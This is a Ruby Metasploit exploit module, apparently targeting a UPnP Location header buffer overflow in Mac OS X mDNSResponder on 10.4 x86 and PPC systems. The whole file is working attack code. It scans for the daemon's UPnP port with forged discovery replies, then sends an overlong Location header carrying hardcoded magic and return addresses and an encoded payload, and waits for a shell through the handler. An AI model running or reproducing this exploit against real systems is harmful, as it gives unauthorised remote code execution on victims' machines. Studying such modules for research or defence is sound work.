require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow', 'Platform' => 'osx', 'DefaultOptions' => { 'SRVPORT' => 1900, 'RPORT' => 0 }, 'Targets' => [ [ '10.4.8 x86', { # mDNSResponder-108.2 'Arch' => ARCH_X86, # Offset to mDNSStorage structure 'Offset' => 21000, 'Magic' => 0x8fe510a0, 'g_szRouterHostPortDesc' => 0x53dc0, } ], [ '10.4.0 PPC', { # mDNSResponder-107 'Arch' => ARCH_PPC, 'Offset' => 21000, 'Magic' => 0x8fe51f4c, 'Ret' => 0x8fe41af8, } ], ], 'DefaultTarget' => 1, 'Payload' => { 'BadChars' => "\x00\x3a\x2f", 'StackAdjustment' => 0, 'Space' => 468 } )) register_options([ Opt::LHOST(), OptPort.new('SRVPORT', [true, "The UPNP server port to listen on", 1900]) ], self.class) @mutex = Mutex.new() @found_upnp_port = false @key_to_port = Hash.new() @upnp_port = 0 @client_socket = nil end def check # # TODO: Listen on two service ports, one a single character # shorter than the other (i.e 1900 and 19000). If the copy was # truncated by strlcpy, it will connect to the service listening # on the shorter port number. # upnp_port = scan_for_upnp_port() if (upnp_port > 0) return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unsupported end end def upnp_server(server) client = server.accept() request = client.readline() if (request =~ /GET \/([\da-f]+).xml/) @mutex.synchronize { @found_upnp_port = true @upnp_port = @key_to_port[$1] # Important: Keep the client connection open @client_socket = client } end end def scan_for_upnp_port @upnp_port = 0 @found_upnp_port = false upnp_port = 0 # XXX: Do this in a more Metasploit-y way server = TCPServer.open(1900) server_thread = Thread.new { self.upnp_server(server) } begin socket = Rex::Socket.create_udp upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'] puts "[*] Listening for UPNP requests on: #{upnp_location}" puts "[*] Sending UPNP Discovery replies..." i = 49152; while i < 65536 && @mutex.synchronize { @found_upnp_port == false } key = sprintf("%.2x%.2x%.2x%.2x%.2x", rand(255), rand(255), rand(255), rand(255), rand(255)) @mutex.synchronize { @key_to_port[key] = i } upnp_reply = "HTTP/1.1 200 Ok\r\n" + "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" + "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" + "Location: #{upnp_location}/#{key}.xml\r\n\r\n" socket.sendto(upnp_reply, datastore['RHOST'], i) i += 1 end @mutex.synchronize { if (@found_upnp_port) upnp_port = @upnp_port end } ensure server.close server_thread.join end return upnp_port end def exploit # # It is very important that we scan for the upnp port. We must # receive the TCP connection and hold it open, otherwise the # code path that uses the overwritten function pointer most # likely won't be used. Holding this connection increases the # chance that the code path will be used dramatically. # upnp_port = scan_for_upnp_port() if upnp_port == 0 raise "Could not find listening UPNP UDP socket" end datastore['RPORT'] = upnp_port socket = connect_udp() if (target['Arch'] == ARCH_X86) space = "A" * target['Offset'] space[0, payload.encoded.length] = payload.encoded pattern = Rex::Text.pattern_create(47) pattern[20, 4] = [target['Magic']].pack('V') pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2] boom = space + pattern usn = "" elsif (target['Arch'] == ARCH_PPC) space = "A" * target['Offset'] pattern = Rex::Text.pattern_create(48) pattern[20, 4] = [target['Magic']].pack('N') # # r26, r27, r30, r31 point to g_szUSN+556 # Ret should be a branch to one of these registers # And we make sure to put our payload in the USN header # pattern[44, 4] = [target['Ret']].pack('N') boom = space + pattern # # Start payload at offset 556 within USN # usn = "A" * 556 + payload.encoded end upnp_reply = "HTTP/1.1 200 Ok\r\n" + "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" + "USN: #{usn}\r\n" + "Location: http://#{boom}\r\n\r\n" puts "[*] Sending evil UPNP response" socket.put(upnp_reply) puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run" sleep(10) handler() disconnect_udp() end end